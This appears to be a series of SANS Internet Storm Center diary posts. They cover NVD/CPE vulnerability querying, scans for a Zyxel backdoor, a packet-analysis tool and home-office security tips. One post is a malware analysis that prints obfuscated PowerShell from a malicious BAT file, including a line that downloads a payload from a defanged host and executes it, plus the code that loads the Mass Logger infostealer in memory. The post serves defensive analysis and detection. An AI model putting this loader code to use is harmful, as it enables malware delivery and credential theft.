      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:classic:*:*:*    17.011.30175       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* 20.012.20048       


Now with some code written, on Monday we'll string everything together into a useful, complete reporting tool that you can use.

Rob VandenBrink


Published: 2021-01-07

Using the NIST Database and API to Keep Up with Vulnerabilities and Patches (Part 1 of 3)

It's been a while since NIST changed the API for their NVD (National Vulnerability Database), so I (finally) got around to writing some code against that API.  This API gives you a way for your code to query CVE's (Common Vulnerabilities and Exposures) against a broad range of products (or against specific products).  What this immediately brought to my mind was what I always ask my clients to put in someone's job description "monitor vendor announcements and industry news for vulnerabilities in the products in use by the organization".  This can be a tough row to hoe, especially if we're not talking the Microsoft / Cisco / Oracle and other "enterprise flagship" products - the ones that might immediately come to mind - if you monitor the cve list you'll see dozens or hundreds of CVEs scroll by in a day.   Also, subscribing to all the vendor security newsgroups and feeds can also quickly turn into a full-time proposition.  I think using the NIST API can be a viable alternative to just plain "keeping up".  CVE's often are a few days behind vendor announcements and patches, but on the other hand the CVE database is a one-stop-shop, (theoretically) everything is posted here.

In most cases I'd expect a hybrid approach - monitor industry news and vendor sources for your "big gun" applications, and then query this database for everything (to catch smaller apps and anything missed on your list of major apps).

First of all, in this API products are indexed by "CPE" (Common Platform Enumeration), a structured naming convention.  Let's see how this works - first, let's query the CPE database to get the NVD representation of the products that you have in your organization.  You can do this iteratively.

For instance, to get PeopleSoft versions, starty by querying Oracle products:


Then narrow it down with the info you find in that search to get PeopleSoft.  


As you can see, you can narrow this down further by version:


.. however you might also want to leave that a bit open - you don't want to be in the position where your Operations team has updated the application but maybe didn't tell the security team or the security developer team (that'd be you).
(Or the dev-sec-dev-devops or whatever we're calling that these days :-))

Repeat this process for everything in your organization's flock of applications and Operating Systems.  As with all things of this type, of course test with one or three applications/CPEs, then grow your list over time.  You can use our previous diary on collecting hardware and software inventories (CIS Critical Controls 1 and 2) - code for these is here:

Full docs for the CPE API are here:

So how do we translate from a "real" inventory as reported by Windows WMI or PowerShell to what the CPE API expects?  The short answer is "the hard way" - we hit each application, one by one, and do a "it looks sorta like this" query.  The NVD gives us a handy page to do this in - for a manual thing like this I find the website to be quicker than the API.
First, navigate to https://nvd.nist.gov/products/cpe/search/

Then, put in your application name, vendor name, or any substring of those.

For instance, putting in "AutoCad" gives you 4 pages of various versions and application "bolt-ons" (or "toolsets" in autocad-speak).  It's interesting that the versioning convention is not standard, not even in this single first product example.
Some versions are named as "autocad:2010", and some are named as "autodesk:autocad_architecture_2009"
What you'll also find in this exploration is that "AutoCad version 2020" is actually version "24.0" as reported by the Windows interfaces - some of this oddness creeps into the CPE database as well.

Looking at a few apps that are more commonly used, let's look at the Adobe and FoxIT PDF readers.

To get all current-ish versions of FoxIT reader, we'll look for 10.0 and 10.0.1, these boil down to:


This query gives us a short list:


For our final list, we'll modify that last one to catch future sub-versions of 10.0.1, as:


Looking for Adobe Reader DC version 19 and 20, we end up with:


This all looks straightforward, except that when you look at a few versions of 20, it looks like:


So you'd think a properly formed query for version 20/classic would look like:
cpe:2.3:a:adobe:acrobat_reader_dc:20.*.*:*:*:*:classic:*:*:* - but no, that doesn't work

So you see, there's a bit of back-and-forth for each one - for each of my clients I tend to put an afternoon aside to turn their software inventory into a "CPE / CVE friendly" inventory.
You can speed this process up by downloading the entire CPE dictionary and "grep" through it for what you need: https://nvd.nist.gov/products/cpe
Just using grep, you now likely relate your software inventory back to the CPE dictionary much easier - for instance:

>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i microsoft | grep -i office
    <title xml:lang="en-US">Avery Wizard For Microsoft Office Word 2003 2.1</title>
    <title xml:lang="en-US">Microsoft BackOffice</title>
    <title xml:lang="en-US">Microsoft BackOffice 4.0</title>
    <title xml:lang="en-US">Microsoft BackOffice 4.5</title>
    <title xml:lang="en-US">Microsoft backoffice_resource_kit</title>
    <title xml:lang="en-US">Microsoft backoffice_resource_kit 2.0</title>
    <title xml:lang="en-US">Microsoft Office Excel 2002 Service Pack 3</title>
    <title xml:lang="en-US">Microsoft Office Excel 2003 Service Pack 3</title>
    <title xml:lang="en-US">Microsoft Office Excel 2007 Service Pack 2</title>
    <title xml:lang="en-US">Microsoft Office Excel 2007 Service Pack 3</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 2 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 2 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office Excel 2010 Service Pack 2 x86 (32-bit)</title>
    <title xml:lang="en-US">Microsoft Internet Explorer 5 (Office 2000)</title>
    <title xml:lang="en-US">Microsoft Internet Explorer 5.01 (Office 2000 SR-1)</title>
    <title xml:lang="en-US">Microsoft Office</title>
    <title xml:lang="en-US">Microsoft Office 3.0</title>
    <title xml:lang="en-US">Microsoft Office 4.0</title>
    <title xml:lang="en-US">Microsoft Office 4.3</title>
    <title xml:lang="en-US">Microsoft Office 95</title>
    <title xml:lang="en-US">Microsoft Office 97</title>
    < ... more older versions .. >
    <title xml:lang="en-US">Microsoft Office 2013</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT</title>
    <title xml:lang="en-US">Microsoft Office 2013 Click-to-Run (C2R)</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT Edition</title>
    <title xml:lang="en-US">Microsoft Office 2013 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2013 x86 (32-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2013 SP1</title>
    <title xml:lang="en-US">Microsoft Office 2013 Service Pack 1 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2013 Service Pack 1 on X86</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT SP1</title>
    <title xml:lang="en-US">Microsoft Office 2013 Service Pack 1 RT Edition</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2016 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2016 for MacOS</title>
    <title xml:lang="en-US">Microsoft Office 2016 Click-to-Run (C2R)</title>
    <title xml:lang="en-US">Microsoft Office 2016 Click-to-Run (C2R) x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Office 2016 MacOS Edition</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2016 Mac OS Edition</title>
    <title xml:lang="en-US">Microsoft Office 2016</title>
    <title xml:lang="en-US">Microsoft Office 2019</title>
    <title xml:lang="en-US">Microsoft Office 2019 on x64</title>
    <title xml:lang="en-US">Microsoft Office 2019 on x86</title>
    <title xml:lang="en-US">Microsoft Office 2019 for Mac OS</title>
    <title xml:lang="en-US">Microsoft Office 2019 for Mac OS X</title>
    <title xml:lang="en-US">Microsoft Office 2019 for macOS</title>
    <title xml:lang="en-US">Microsoft Office 2019 Mac OS Edition</title>
    <title xml:lang="en-US">Microsoft Office 2013 RT</title>
    < and so on ... >

You can see this list relates much better to your "actual" inventory as reported by more "traditional" means (WMI / Powershell).  
Now refine this list, relating the results back to your real inventory.  Sorry, since the "match" on the title isn't always exact, this again usually involves some manual components.  Even mainstream products don't always have a match.

For instance, looking for MS Project 2013:
From our cross-domain software inventory (in PowerShell) we have:

> $domainapps.name | grep "Project"
Microsoft Project MUI (English) 2013
Microsoft Project Professional 2013

And from the CPE Dictionary:

>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i microsoft | grep -i project | grep 2013
    <title xml:lang="en-US">Microsoft Project 2013 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Project Server 2013</title>
    <title xml:lang="en-US">Microsoft Project Server 2013 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Project Server 2013 Service Pack 1 (x64) 64-bit</title>

So a match, but not exact.

Another illustration - even MS Word there isn't an exact match, in almost every case we're either picking a few CPE's or guesstimating for the closest one:

> $domainapps.name | grep "Word"
Microsoft Word MUI (English) 2013

>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i microsoft | grep -i word | grep 2013
    <title xml:lang="en-US">Microsoft Word 16.0.11425.20132 for Android</title>
    <title xml:lang="en-US">Microsoft Word 2013</title>
    <title xml:lang="en-US">Microsoft Word 2013 RT Edition</title>
    <title xml:lang="en-US">Microsoft Word 2013 for Microsoft Windows RT</title>
    <title xml:lang="en-US">Microsoft Word 2013 Service Pack 1</title>
    <title xml:lang="en-US">Microsoft Word 2013 Service Pack 1 x64 (64-bit)</title>
    <title xml:lang="en-US">Microsoft Word 2013 Service Pack 1 on x86</title>
    <title xml:lang="en-US">Microsoft Word 2013 SP1 RT</title>
    <title xml:lang="en-US">Microsoft Word RT 2013 Service Pack 1</title>


Where this plays well for me is if I exclude Windows and Office - just using Windows Update (or  your WSUS, SCCM or whatever patch manager you use), then auditing the "last updated" date for Windows tends to catch those really well.  It's the MS server apps - Exchange, SQL and so on, and everything that isn't Microsoft where this method really helps turn the flood of CVE information into a once a week summary that you can use.


As you'd expect, if you are in a niche industry, you may not find all of your applications - for instance ICS clients and Banking clients may not find their user-facing main business applications in the CPE list, and sadly will never see CVEs to keep their vendors honest.

In a welcome recent development, as I was writing this article I noticed that if your application has a listening port, nmap will make a reasonably good estimate of what that application is with the "sV" option (Probe open ports to determine service/version info).   In the example below nmap very nicely inventories my ESXI 7.0 server, and gives me the exact CPE for it:

C:\>nmap -sV -p 443 --open
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-06 18:45 Eastern Standard Time
Nmap scan report for
Host is up (0.0011s latency).

443/tcp open  ssl/https VMware ESXi SOAP API 7.0.0
MAC Address: 00:25:90:CB:00:18 (Super Micro Computer)
Service Info: CPE: cpe:/o:vmware:ESXi:7.0.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.70 seconds

Now, with your software inventory complete and your CPE strings in hand, you can start querying for CVE's!

Sticking with our Acrobat and FoxIT examples, we can search for all CVE's -  to do this we'll change the API URI called slightly, all the URI conventions stay consistent:


Now things start to look interesting! Of course, given our search this gets us a boatload of CVE's.  Let's look for the last 60-0ish days - we'll querying "modified since a Nov 1, 2020":


Keep in mind to that there are a few dates involved- the publishedDate and lastModifiedDate.  While the NVD examples typically go after "last modified", I've seen CVE's from the mid 2000's with a "last modified" date in 2019 - so be careful.  Normally I'm querying using "publishedDate".

Again, rinse and repeat for all of your CPE's collected.  We're still playing in the browser, but you can see it's a simple query, and the return values are in JSON, so things look simple.  Except that as things nest and nest, what looks simple on the screen isn't necessarily simple in code.  For instance, to get the CVE numbers for the Acrobat Reader DC 20 query above, the PowerShell code looks like:

$request = "https://services.nvd.nist.gov/rest/json/cves/1.0?modStartDate=2020-11-01T00:00:00:000%20UTC-05:00&cpeMatchString=cpe:2.3:a:adobe:acrobat_reader_dc:20.*"
$CVES = (invoke-webrequest $request | ConvertFrom-Json).result.CVE_items.cve.CVE_data_meta.id


While this is starting to get useful, keep in mind that it's only as good as the database.  For instance, looking at any particular product, writing it will involve the use of a language and likely some libraries, maybe a framework and some other components.  There isn't a team of elves drawing up that heirarchy for public comsumption anywhere.  We can only hope that the dev team who wrote the thing is keeping that list for their own use! (hint - lots of them are not).

You can deconstruct any particular application to some degree ( https://isc.sans.edu/forums/diary/Libraries+and+Dependencies+It+Really+is+Turtles+All+The+Way+Down/20533/ ), but if you go that deep, you'll find that your list will likely see components get added or removed from version to version - it'll turn into a whack-a-mole-science-project in no time!
For a point-in-time application pentest this can be useful, but to just keep tabs on how your security posture is from week to week, you'll likely find yourself spending more time on application archeology than it's worth.

All is not lost though - as we've seen above we can get useful information just at the application level - and keep in mind the CVE list is what your scanner uses as it's primary source, also your red team, your malware, and any "hands on keyboard" attackers that your malware escorts onto your network.  So while the CVE list will never be complete, it's the data all of your malicious actors go to first.

Let's dig deeper into this - with our inventory of CPE's now solid, tomorrow we'll play more with the API details the CVE level, and Monday there'll be a full working app (I promise!) that you can use in your organization.

==== of note ====

In the course of me playing with this API, I ended up opening a case with the folks at the NIST, they were very responsive (2 day turnaround from initial question to final answer), which for me is very responsive, especially for a free product!


Full docs for CVE API are here:

Rob VandenBrink



Published: 2021-01-06

Scans for Zyxel Backdoors are Commencing.

It was the day (or two days actually) before Christmas when Niels Teusing published a blog post about a back door in various Zyxel products [1]. Niels originally found the vulnerability in Zyxel's USG40 security gateway, but it of course affects all Zyxel devices using the same firmware. According to Zyxel, the password was used "to deliver automatic firmware updates to connected access points through FTP" [2]. So in addition to using a fixed password, it appears the password was also sent in the clear over FTP.

Zyxel products are typically used by small businesses as firewalls and VPN gateways. ("Unified Security Gateway"). There is little in terms of defense in depth that could be applied to protect the device, and in ssh and the VPN endpoint via HTTPS are often exposed. The default credentials found by Niels are not just limited to ftp. They can be used to access the device as an administrator via ssh.

So yet again, we do have a severe "stupid" vulnerability in a device that is supposed to secure what is left of our perimeter.

Likely due to the holidays, and maybe because Niels did not initially publish the actual password, widespread exploitation via ssh has not started until now. But we are no seeing attempts to access our ssh honeypots via these default credentials. 

The scans started on Monday afternoon (I guess they first had to adapt their scripts in the morning) initially mostly from %%ip: On Tuesday, %%ip: joined in on the fun and finally today, we have %%ip: The last IP has been involved in scanning before. 

What can/should you do?

  • If you are using affected devices: UPDATE NOW. See Zyxel's advisory here. Please call Zyxel support if you have questions.
  • If you are using any kind of firewall/gateway/router, no matter the vendor, limit its admin interface exposure to the minimum necessary. Avoid exposing web-based admin interfaces. Secure ssh access best you can (public keys...). In the case of a hidden admin account, these measures will likely not help, but see if you can disable password authentication. Of course, sometimes, vendors choose to hide ssh keys instead of passwords.
  • Figure out a way to automatically get alerts if a device is running out of date firmware. Daily vulnerability scans may help. Automatic firmware updates, if they are even an option, are often considered too risky for a perimeter device.
  • If you are a vendor creating these devices: get your act together. It is ridiculous how many "static keys", "support passwords" and simple web application vulnerabilities are found in your "security" devices. Look over the legacy code and do not rely on independent researchers to do your security testing.

And as a side note for Fortinet users. See what the new year just got you:

https://www.fortiguard.com/psirt?date=01-2021 . 


[1] https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html

[2] https://www.zyxel.com/support/CVE-2020-29583.shtml

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu


Published: 2021-01-05

Netfox Detective: An Alternative Open-Source Packet Analysis Tool

[This is a guest diary by Yee Ching Tok (personal website here (https://poppopretn.com)). Feedback welcome either via comments or our contact page (https://isc.sans.edu/contact.html)]

Various digital forensic artifacts are generated during intrusions and malware infections. Other than analyzing endpoint logs, memory and suspicious binaries, network packet captures offer a trove of information to incident handlers that could help them triage incidents quickly (such as determining if sensitive data had been exfiltrated). Popular tools such as WireShark, Ettercap, NetworkMiner or tcpdump are often used by incident handlers to analyze packet captures. However, there could be situations where a tool is unable to open up packet captures due to its size or being deliberately tampered (perhaps in Capture-the-Flag (CTF) challenges to increase difficulty and complexity). As such, being proficient in multiple alternative tools for packet analysis could come in handy, be it for handling incidents or for CTF challenges.

I recently came across an open-source tool for packet analysis named Netfox Detective [1], developed by the Networked and Embedded Systems Research Group at Brno University of Technology [2]. To showcase some of its features, I mainly used the packet capture created in my previous diary [3]. Firstly, with reference to Figure 1, a workspace needs to be created. As the name implies, the created workspace will contain artifacts such as packet captures or logs that would be analyzed (in this example, I only used network packet captures and did not import any logs).

Figure 1: Creation of Workspace for Analysis

Following that, I imported the network packet capture created in my previous diary [3] and Figure 2 shows an overview of the statistics of the packet capture. An interesting observation was that I did not know some packet loss occurred during the capture I made previously. It was also interesting to note that Netfox Detective utilized TCP heuristics that the creators have developed previously and improved on to mitigate corrupted or missing packets so as to collate as many network conversations as possible [4].

Figure 2: Overview of NAT Slipstreaming Packet Capture

As compared to WireShark where packets are displayed linearly, Netfox Detective has a tabbed view and displays the packets at Layer 3, Layer 4 and Layer 7 (linear option also available by selecting the “Frames” tab). Figure 3 shows the Layer 4 tab being selected and corresponding results being displayed.

Figure 3: Netfox Detective displaying Layer 4 Network Traffic

Selecting a conversation (highlighted in Figure 3) will add the selection in the “Conversation explorer” pane (highlighted by the red box in Figure 4). Double clicking the entry in “Conversation explorer” will create a new tab “Conversation detail” where a summary of the interaction is displayed (as shown in Figure 4). I found the Packet Sequence Chart to be very useful as it visualized when the various packets were transmitted with respect to their frame size.

Figure 4: Conversation detail view of and

Following that, with reference to Figure 5, I selected frame number 336 for an in-depth look and we can see the ACK and RST flags being reflected in this packet (an expected finding as per the observations of NAT Slipstreaming experiment I done previously). 

Figure 5: Frame content view of Frame Number 336

There could be instances where analysis of multiple related network packet captures is needed in an incident. Netfox Detective allows multiple packet capture files to be imported into the same workspace (as shown in Figure 6). Over here, I used another packet capture created by Brad Duncan [5] to demonstrate the feature. 

Figure 6: Importing Multiple Packet Capture Files into the Same Workspace

As always, there are strengths and weaknesses in the various tools we use for packet analysis. Netfox Detective can only be installed on Microsoft Windows (Windows Vista SP2 or newer), and supports a smaller subset of protocols as compared to other tools such as WireShark [1]. However, the various tabbed views at Layer 3, 4 and 7, packet visualizations and ability to group related packet captures in a same workspace offers a refreshing perspective for incident handlers to perform their analysis/triage on network packet captures. Moreover, the open-source nature of Netfox Detective allows further enhancements to the tool itself.

For a complete read about Netfox Detective’s design decisions and technical implementations, their published paper is available here [4]. To download Netfox Detective, the information can be found on their GitHub page [1].

[1] https://github.com/nesfit/NetfoxDetective/
[2] https://nesfit.github.io/
[3] https://github.com/poppopretn/ISC-diaries-pcaps/blob/main/2020-11-NAT-Slipstream.zip
[4] https://doi.org/10.1016/j.fsidi.2020.301019
[5] https://www.malware-traffic-analysis.net/2020/11/10/index.html 


Published: 2021-01-04

From a small BAT file to Mass Logger infostealer

Since another year went by, I’ve decided to once again check all of the malicious files, which were caught in my e-mail quarantine during its course. Last year, when I went through the batch of files from 2019, I found couple of very large samples[1] and I wanted to see whether I’d find something similar in the 2020 batch.

I started with just over 900 files of many different types and although I did notice couple of unusually large files, when one took their extensions into consideration (e.g. a JS file with size exceeding 1 MB, which turned out to be a sample of WSH RAT[2]), the largest sample in the batch overall was an EXE with the size of 17 MB. It was not small by any means, but its size was not too unusual either - it was definitely not in the same weight class as the 130 MB executable sent to us by one of our readers back in August[3].

On the other side of the size spectrum, situation was pretty much the same – there were also not any files which would be interesting because of their exceptional size (or lack thereof). While quickly going over the small files, one of them however did catch my eye. Among the smallest executable scripts was a 1.68 kB BAT file from September 2020 with the name of “A megállapodás feltételei_doc04361120200812113759-ACF.28668_DPJ2020012681851.PDF.bat” (first part roughly translates as “Terms of agreement” from Hungarian), which contained the following slightly obfuscated PowerShell script, which turned out to be quite interesting.

@echo off

Start /MIN Powershell -WindowStyle Hidden -command "$Dxjyp='D4@C7@72@72...
$text =$Dxjyp.ToCharArray();
$tu=-join $text;
$jm=$tu.Split('@') | forEach {[char]([convert]::toint16($_,16))};
$jm -join ''|I`E`X"

After reversing and decoding the contents of the $Dxjyp variable, the main body of the script became readable. The script was supposed to download and execute contents of the file A12.jpg downloaded from http[:]//topometria[.]com[.]cy.

sal M $Tbone;
do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);
$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);
[System.Net.ServicePointManager]::SecurityProtocol = $p22;
$mv='(N'+'ew'+'-O'+'b'+'je'+'c'+'t '+ 'Ne'+'t.'+'W'+'eb'+'C'+'li'+'ent)'+'.D'+'ow'+'nl'+'oa'+'d'+'S'+'tr'+'ing(''http[:]//topometria[.]com[.]cy/A12.jpg'')'|I`E`X;
$asciiChars= $mv -split '-' |ForEach-Object {[char][byte]"0x$_"};
$asciiString= $asciiChars -join ''|M

The URL contained withing the script is no longer active, but I managed to find a copy of the A12.jpg file downloaded in an Any.Run task from September, in which someone analyzed differently named (but functionally identical) version of the batch script[4].

The JPG file (that was of course not JPG at all) was 3.25 MB in size. This turned out not to be too much when one considers that it contained the main malicious payload in the form of one EXE and one DLL, but before we get to these files, let’s quickly take a look at A12.jpg.

Its contents looked exactly as one would expect given the last two lines of the PowerShell code we’ve seen above (i.e. hex-encoded ASCII characters separated by hyphens).

... 0D-0A-20-20-0D-0A-0D-0A-0D-0A-20-20

At this point it is good to mention that for the purposes of analyzing any potentially malicious code, it can be invaluable to remember hex values of several of ASCII characters. Besides the usual “M” (0x4D) and “Z” (0x5A), which create the header of Windows PE executables, as well as couple of others, it may be a good idea to also remember that “$” has the hex value 0x24. In this way, even if we got our hands on the A12.JPG file without any other context, we might deduce that it might contain code in one of the languages, in which the dollar sign is used to denote variables.

After decoding the downloaded file, it became obvious that it did indeed contain a part of a PowerShell script. What was especially interesting about it were two variables which seemed to each contain a PE structure.

$t0=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});
sal g $t0

function PuKkpsGJ {
    $gPPqxvJ = $gPPqxvJ -split '(..)' | ? { $_ }
    ForEach ($wbdtbuBT in $gPPqxvJ){

[Byte[]]$JJAr=PuKkpsGJ $CDbvWcpeO
$uy='$g55.In!%%%%#######@@@@@@@****************ke($null,$null)'.replace('!%%%%#######@@@@@@@****************','vo')| g
$vmc2| g
[Byte[]]$nebj2= PuKkpsGJ $nebj

Indeed, after replacing all of the “>^” pairs in the two variables with “00” and saving the resultant values from each of the variables in a file, the hypothesis was proven true. There were indeed two PE files contained within the script – one 42 kB DLL and one 514 kB EXE, both written in the .NET family of languages.

After a little more deobfuscation of the script in A12.jpg, it became obvious that it basically amounted to the following two lines of code, in which the purpose of the two files can be clearly seen – the script was supposed to load the DLL into memory and then ensure execution of the main malicious executable with its help.

[System.AppDomain].GetMethod("get_CurrentDomain").Invoke($null,$null).Load([DLL file])| IEX
[g8fg0000.gfjhfdgpoerkj]::gihjpdfg('InstallUtil.exe',[EXE file])

Indeed, you may see the relevant part of the DLL in the following image.

After a quick analysis, the EXE file itself turned out to be a sample of the Mass Logger infostealer.

Although I didn’t find any exceptionally large or small malicious files in the batch of quarantined e-mails from 2020, the small BAT file discussed above turned out to be quite interesting in its own way, as the following chart summarizes.

Let us see what 2021 brings us in terms of malware - perhaps next year, we will have a chance to take a look at something exceptionally small or unusually large again...

Indicators of Compromise (IoCs)

A megállapodás feltételei_doc04361120200812113759-ACF.28668_DPJ2020012681851.PDF.bat (1.68 kB)
MD5 - 71bdecdea1d86dd3e892ca52c534fa13
SHA1 - 72071a7e760c348c53be53b6d6a073f9d70fbc4b

A12.jpg (3.25 MB)
MD5 - 60b86e4eac1d3eeab9980137017d3f65
SHA1 - d41b417a925fb7c4a903dd91104ed96dc6e1982b

ManagmentClass.dll (42 kB)
MD5 - 8a738f0e16c427c9de68f370b2363230
SHA1 - 0ac18d2838ce41fe0bdc2ffca98106cadfa0e9b5

service-nankasa.com-LoggerBin.exe (514 kB)
MD5 - 4b99184764b326b10640a6760111403d
SHA1 - 2a61222d0bd7106611003dd5079fcef2a9012a70

[1] https://isc.sans.edu/forums/diary/Picks+of+2019+malware+the+large+the+small+and+the+one+full+of+null+bytes/25718
[2] https://app.any.run/tasks/801cb6a1-6c66-4b98-8b38-14b3e56d660a/
[3] https://isc.sans.edu/forums/diary/Definition+of+overkill+using+130+MB+executable+to+hide+24+kB+malware/26464/
[4] https://app.any.run/tasks/32b4519f-3c10-40f5-a65a-7db9c3a57fd0/

Jan Kopriva
Alef Nula


Published: 2021-01-02

Protecting Home Office and Enterprise in 2021

Because of COVID, 2020 saw a major shift from working at the "office" to working at home which led to shift the attacks to the user @home. Everything points that 2020 was a year for ransomware and COVID-19 themed campaigns. Without exceptions, phishing emails have been the most prolific initial attack vector targeting organizations and home users. This will likely get worse and more disruptive this coming year.

Past 14 Days - My IP Threat Intel Activity

Every year there are prediction on what we should expect in the coming year and what to watch for. Instead, what can be done to secure the enterprise?

  • Implement multi-factor authentication
  • Extending security to a remote force
  • Review cloud security policies
  • Better protection for IoT
  • Must ensure backups are secure and cannot be reached to prevent attackers from finding and delete them
  • Equally important - regularly test backups to ensure the data can be recovered
  • Use and share Threat Intel to track suspicious activity [1][2]
  • Better network analytics and log collection [3][4][5]
  • Monitor host and network activity [3][4][5]
  • Better detection and prevention against phishing email attacks [10]
  • Review and test employees against security awareness program [11]
  • Apply system security update as soon as appropriate
  • Keep antivirus software current

Over the past year, one of the most difficult tasks has been how to detect and prevent being compromised by unmanaged devices. With a large population of employees working from a home office, some forced to use their personal devices, if compromised, have the potential of exploiting other systems in their home network as well as the enterprise connected network (i.e. VPN access to employer network). This challenge will continue for the forceable future.

Share your predictions for 2021, what is going to keep you up at night?

[1] https://www.anomali.com/resources/staxx
[2] https://otx.alienvault.com
[3] https://www.elastic.co
[4] http://rocknsm.io
[5] https://securityonionsolutions.com
[6] https://us-cert.cisa.gov
[7] https://cyber.gc.ca
[8] https://www.ncsc.gov.uk
[9] https://www.enisa.europa.eu/topics/csirts-in-europe
[10] https://cyber.gc.ca/en/assemblyline
[11] https://www.sans.org/security-awareness-training?msc=main-nav

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2021-01-01

Strings 2021

This year, for my diary entries with malware analysis, I will check each time if a malware sample can be analyzed with the strings command (or a variant). And if it does, I'll write-up a second analysis with the strings command.

Although most malware samples don't contain clear text strings, I regularly encounter samples that do.

I hope this will make malware analysis more accessible to a larger audience.

Best wishes for the new year to you and your family from all of us at the SANS Internet Storm Center!

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com